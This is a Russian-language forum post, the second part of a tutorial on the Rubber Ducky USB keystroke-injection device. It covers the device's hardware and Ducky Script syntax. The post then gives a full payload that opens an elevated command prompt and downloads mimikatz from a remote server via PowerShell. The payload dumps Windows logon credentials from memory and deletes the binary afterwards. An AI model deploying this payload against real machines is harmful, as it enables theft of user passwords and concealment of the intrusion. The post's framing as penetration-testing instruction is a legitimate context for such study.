Rubber Ducky - Первые шаги (часть II)
@webwareПриветствую уважаемых участников и гостей форума!
В предыдущей части, мы познакомились с USB-устройством "Rubber Ducky" и рассмотрели базовые возможности девайса при проведении тестирований на проникновение, сегодня мы более подробно рассмотрим начинку "Rubber Ducky", освоим синтаксис Ducky Script, напишем первый пейлоад, и проведем простую атаку на реальном примере.
Итак, что же внутри корпуса оригинального "Rubber Ducky" от Hack5:
1. процессор Atmel 32bit 60MHz AVR на базе микроконтроллер AT32UC3B1256 с 64kb flash памятью, 32kb SRAM, скоростью передачи данных 12 Mbps и низким энергопотреблением от 23mA до 3.3 вольт
2. MicroSD card reader, для увеличения пространства внутренней памяти
3. LED-индикатор работы устройства.
4. JTAG интерфейс, который используется преимущественно для hardware-отладки
5. Стандартный USB-коннектор (type A)

Далее рассмотрим особенности и синтаксис Ducky Script - языка для программирования "Rubber Ducky".
Итак, писать скрипты на Ducky Script можно в любом тестовом редакторе, поддерживающим кодировку ASCII, например Notepad, vi, emacs, nano, gedit, kedit, TextEdit, и пр.
Синтаксис элементарен и не требует навыков программирования, каждая команда пишется CAPSом и начинается с новой строки и может иметь несколько параметров, функции большинства команд сводятся к нажатия клавиш клавиатуры/комбинации клавиш, либо вывод текста а также для имитации задержки/паузы во время нажатия клавиш.
Основные команды с примерами использования:
1. REM
Аналогично REM в Basic, строки начинающиеся с REM служат только для комментирования.
REM #Следующие 3 строки кода откроют командную строку Windows GUI r STRING cmd ENTER
2. DEFAULT_DELAY или DEFAULTDELAY
Используется для определения продолжительности ожидания между каждой последующей командой со значением параметров от 0..-> в миллисекундах. В основном используется для отладки, в случаях когда целевой ОС, после подключения нашего девайса требуется время для установки драйверов.
DEFAULT_DELAY 100 REM #задержка 100 милисекунд между строками команд delays
3. DELAY
Используется для пауз при выполнении команд, когда необходимо время для обработки команд на целевой ОС. Время задержки указано в миллисекундах от 1 до 10000. Для создания более длительных задержек можно использовать несколько команд DELAY.
DELAY 500 REM #пауза 500 миллисекунд до выполнения следующей команды
4. STRING
Строка, содержащая последовательность нажатия клавиш клавиатуры, выполняется с возможными параметрами: a...z A...Z 0..9 !...) `~ += _- "' :; <, >. ?/ \
GUI r DELAY 500 STRING notepad.exe ENTER DELAY 1000 STRING Hello World!
5. WINDOWS или GUI
GUI r REM #команда выполняет нажатие комбинации клавиш Windows+R, чтобы открыть меню "Выполнить"
6. MENU или APP
Команда открывает выпадающее контекстное меню, результат аналогичен клику правой кнопкой мыши/нажатию сочетания SHIFT+F10 в Windows системах
GUI d MENU STRING v REM #переключение на рабочий стол, открытие контекстного меню и выберите команду действия v
7. SHIFT
Команда используется для навигации и выделения фрагментов тестового содержимого выполняется с возможными параметрами: DELETE, HOME, INSERT, PAGEUP, PAGEDOWN, WINDOWS, GUI, UPARROW, DOWNARROW, LEFTARROW, RIGHTARROW, TAB
SHIFT INSERT REM #команда выполняет функцию "Вставить" для Windows систем
8. ALT
Команда выполняет функцию клавиши ALT, используется с возможными параметрами: END, ESC, F1...F12, SPACE, TAB и пр. сочетания горячих клавиш в в Windows системах.
GUI r DELAY 50 STRING notepad.exe ENTER DELAY 100 STRING Hello World ALT f STRING s REM #команда выполняет нажатие комбинации клавиш ALT+f и сохраняет полученый результат
9. CONTROL или CTRL
Команда выполняет нажатие клавиши CTRL с возможными параметрами: BREAK, PAUSE, F1...F12, ESCAPE, ESC и пр. сочетания горячих клавиш в в Windows системах.
CONTROL ESCAPE REM #команда открывает меню "Пуск" в Windows
10. REPLAY
Повторяет последнюю команду n-количество раз.
SHIFT INSERT REPLAY 100 REM #команда выполняет функцию "Вставить" 101 раз
Для компиляции скриптов, обычно используется кросплатформенная утилита на Java - Duck Encoder, которая конвертирует Ducky Script в hex формат.
Итак, с синтаксисом разобрались, теперь потренируемся и напишем первый пейлоад, и никаких "Hello World", пусть это будет простенький, но все же "боевой" прототип, использующий, хорошо известную утилиту mimikatz для извлечения хешей паролей, а также учётных данных Windows в открытом виде.
Что конкретно должен делать наш скрипт после подключения "Rubber Ducky" к USB-порту цели:
1. Открыть командную строку
2. Загрузить mimikatz с удаленного сервера, используя powershell
3. Запустить mimikatz для извлечения дампа паролей из памяти целевой машины
4. Удалить загруженный бинарник mimikatz, после извлечение дампа
Нам потребуется:
1. Любой вебсервер, чтобы захостить mimikatz для загрузки на цель
2. Hеобходимо обладать правами администратора на целевой машине
DELAY 3000
CONTROL ESCAPE
DELAY 1000
STRING cmd
DELAY 1000
CTRL-SHIFT ENTER
DELAY 1000
ALT y
DELAY 300
ENTER
STRING powershell (new-object System.Net.WebClient).DownloadFile('http://ip_сервера_с_mimikatz/host>/mimikatz.exe','%TEMP%\mimikatz.exe')
DELAY 300
ENTER
DELAY 3000
STRING %TEMP%\mimikatz.exe
DELAY 300
ENTER
DELAY 3000
STRING privilege::debug
DELAY 300
ENTER
DELAY 1000
STRING sekurlsa::logonPasswords full
DELAY 300
ENTER
DELAY 1000
STRING exit
DELAY 300
ENTER
DELAY 100
STRING del %TEMP%\mimikatz.exe
DELAY 300
ENTER
Скрипт, конечно же нуждается в серьезной доработке, но все же этот простой пример наглядно демонстрирует возможности языка и потенциал "Rubber Ducky" при проведении тестов на проникновение.
К тому же, большую коллекцию готовых скриптов для разных ОС можно найти по ссылке https://ducktoolkit.com/
В следующей части мы рассмотрим более сложные скрипты, поговорим о примерах использования "Rubber Ducky" в различных атаках из реальной практики.
Благодарю за внимание!